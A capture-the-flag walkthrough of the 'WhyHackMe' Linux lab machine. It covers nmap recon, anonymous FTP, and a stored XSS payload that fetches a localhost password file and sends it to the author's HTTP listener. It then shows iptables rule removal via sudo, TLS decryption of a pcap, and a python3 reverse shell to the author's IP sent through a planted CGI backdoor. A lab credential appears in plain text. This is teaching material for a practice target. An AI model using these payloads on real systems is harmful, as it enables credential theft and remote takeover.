HackTheBox: Account

Contact: [email protected]

Follow me on: X

Check My: Github

WhyHackMe

WhyHackMe

Last modified: 2024-08-21 16:23:20

Machine name OS IP Difficulty
WhyHackMe Linux 10.10.49.233 Medium

User

  1. Check if the host is responding

First, let's verify that we can reach the host using a simple ping command:

└─# ping 10.10.49.233            
PING 10.10.49.233 (10.10.49.233) 56(84) bytes of data.
64 bytes from 10.10.49.233: icmp_seq=1 ttl=61 time=608 ms
64 bytes from 10.10.49.233: icmp_seq=2 ttl=61 time=565 ms
  1. Check the running services

Let's check all running services and their versions using the nmap command:

└─# nmap -sV -sC 10.10.49.233 -Pn          
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.49.233
Host is up (0.60s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.4.92.58
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 47:71:2b:90:7d:89:b8:e9:b4:6a:76:c1:50:49:43:cf (RSA)
|   256 cb:29:97:dc:fd:85:d9:ea:f8:84:98:0b:66:10:5e:6f (ECDSA)
|_  256 12:3f:38:92:a7:ba:7f:da:a7:18:4f:0d:ff:56:c1:1f (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Welcome!!
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.86 seconds

The output shows that there are 1 running services with opened ports:

The operating system of the machine is probably Linux (based on the Apache service and OpenSSH; we will verify this later).

  1. Inspect the FTP service

By running the following command, we can download everything on the FTP storage (as the anonymous user without a password):

wget -r ftp://10.10.49.233

Inside is a file called update.txt with the following content:

Hey I just removed the old user mike because that account was compromised and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt and don't worry this file is only accessible by localhost(127.0.0.1), so nobody else can view it except me or people with access to the common account. 
- admin

Since we don't have access to localhost, we need to find an alternative way to retrieve this file (probably find SSRF).

  1. Examine the web application on port 80

└─# whatweb http://10.10.49.233    
http://10.10.49.233 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], HttpOnly[PHPSESSID], IP[10.10.49.233], Title[Welcome!!]

The used technologies are determined by Wappalyzer:

The main page displays some comments, but we cannot post anything; an account is required:

But where to create it? Based on this information, we can run feroxbuster with a wordlist from seclists:

And there’s a registration page at /register.php:

  1. Exploit XSS

By registering with the username <script>alert(1)</script> and the password test, we can log in and post a comment. And there is a stored XSS!:

With this information, we can attempt to store an XSS payload which sends requests to localhost. The payload, which is entered into the username field, looks like this (the password is optional, for example, test):

<script>fetch("http://127.0.0.1/dir/pass.txt").then(response => response.text()).then(data => fetch("http://10.4.92.58:19000/?data=" + encodeURIComponent(data)));</script>

| NOTE: Our assumption is that someone is accessing the site from within the machine where the application backend is hosted. This assumption can be verified by the following message: | NOTE 2: 10.4.92.58 is IP address of my computer. | NOTE 3: Don't forget to start HTTP server by running python3 -m http.server 19000

Create a user (username is the payload above), log in, and post a comment. Then wait for a while and check the requests to your HTTP server:

The text file stored on http://127.0.0.1/dir/pass.txt reveals the username jack with password WhyIsMyPasswordSoStrongIDK.

This attack combines stored XSS with SSRF.

  1. User flag

We can now SSH into the server, and the user flag is located in /home/jack/user.txt.

Root

  1. Inspect the file system

While exploring the file system, I found something interesting in the /opt folder:

The urgent.txt file contains the following text:

Hey guys, after the hack some files have been placed in /usr/lib/cgi-bin/ and when I try to remove them, they wont, even though I am root. Please go through the pcap file in /opt and help me fix the server. And I temporarily blocked the attackers access to the backdoor by using iptables rules. The cleanup of the server is still incomplete I need to start by deleting these files first.

The message indicates that this machine was likely hacked and that a malicious script was found in the /usr/lib/cgi-bin/ folder. Access to the script was blocked by iptables (Linux firewall).

  1. Check sudo privileges

By running sudo -l, we can view the root permissions:

Matching Defaults entries for jack on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jack may run the following commands on ubuntu:
    (ALL : ALL) /usr/sbin/iptables

Essentially, we have the ability to manipulate iptables. Since the administrator mentioned that they blocked access to the backdoor, we can investigate where the backdoor was listening:

It’s likely on port 41312. We can verify if the backdoor is still running by using the command ss -tulpn command:

Indeed, the backdoor is still running and listening. We can allow the traffic to port 41312 by running these two commands:

sudo iptables -L --line-numbers # list all rules with their line numbers
sudo iptables -D INPUT 1 # delete the rule on the first line

But we don’t yet know how to communicate with the backdoor. Since we have a .pcap file, let’s investigate what’s inside.

  1. Analyze the .pcap file.

Download the file by starting an HTTP server on the target machine, within the /opt folder:

python3 -m http.server 18000

Then, download it using wget:

wget http://10.10.49.233:18000/capture.pcap

We can analyze the contents using Wireshark:

However, there is only TLSv1.2 traffic, which is the encrypted form of HTTP. To decrypt it, we need the private key. Let’s search for the private key. By printing the content of /etc/apache2/sites-enabled/000-default.conf (Apache configuration file), we can locate the private key:

We can simply use cat command to display the content of /etc/apache2/certs/apache.key and copy-paste it into a file on our machine named private.key. In Wireshark, navigate to Edit -> Preferences -> Protocols -> TLS -> RSA keys list, click EDIT, add a new Key File, and save it:

Now, we can see that some traffic is decrypted, revealing a request calling the /cgi-bin/5UP3r53Cr37.py script:

We can verify this by executing id, for example:

https://10.10.49.233:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id

Using the queries key and cmd, we can attempt to create a reverse shell by placing it in the cmd query and then calling the script to check if it's still on the server.

  1. Root flag

Using Reverse Shell Generator, we can generate a python3 reverse shell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.92.58",18080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Launch the listener:

nc -nvlp 18080

And enter it into the browser:

https://10.10.49.233:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.4.92.58%22,18080));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27

And we successfully obtain a reverse shell as www-data user. By running sudo -l, we can observe that the user has full root access, allowing us to spawn a root shell:

The root flag is in /root/root.txt.

Assumptions verifications

  1. Running OS

We assumed, based on the OpenSSH version, that the running OS is Ubuntu. Let's verify it using the uname -a and cat /etc/os-release commands:

uname -a
Linux ubuntu 5.4.0-159-generic #176-Ubuntu SMP Mon Aug 14 12:04:20 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.5 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.5 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

Running OS - Ubuntu 20.04.5 LTS.

Table of Contents

Back to home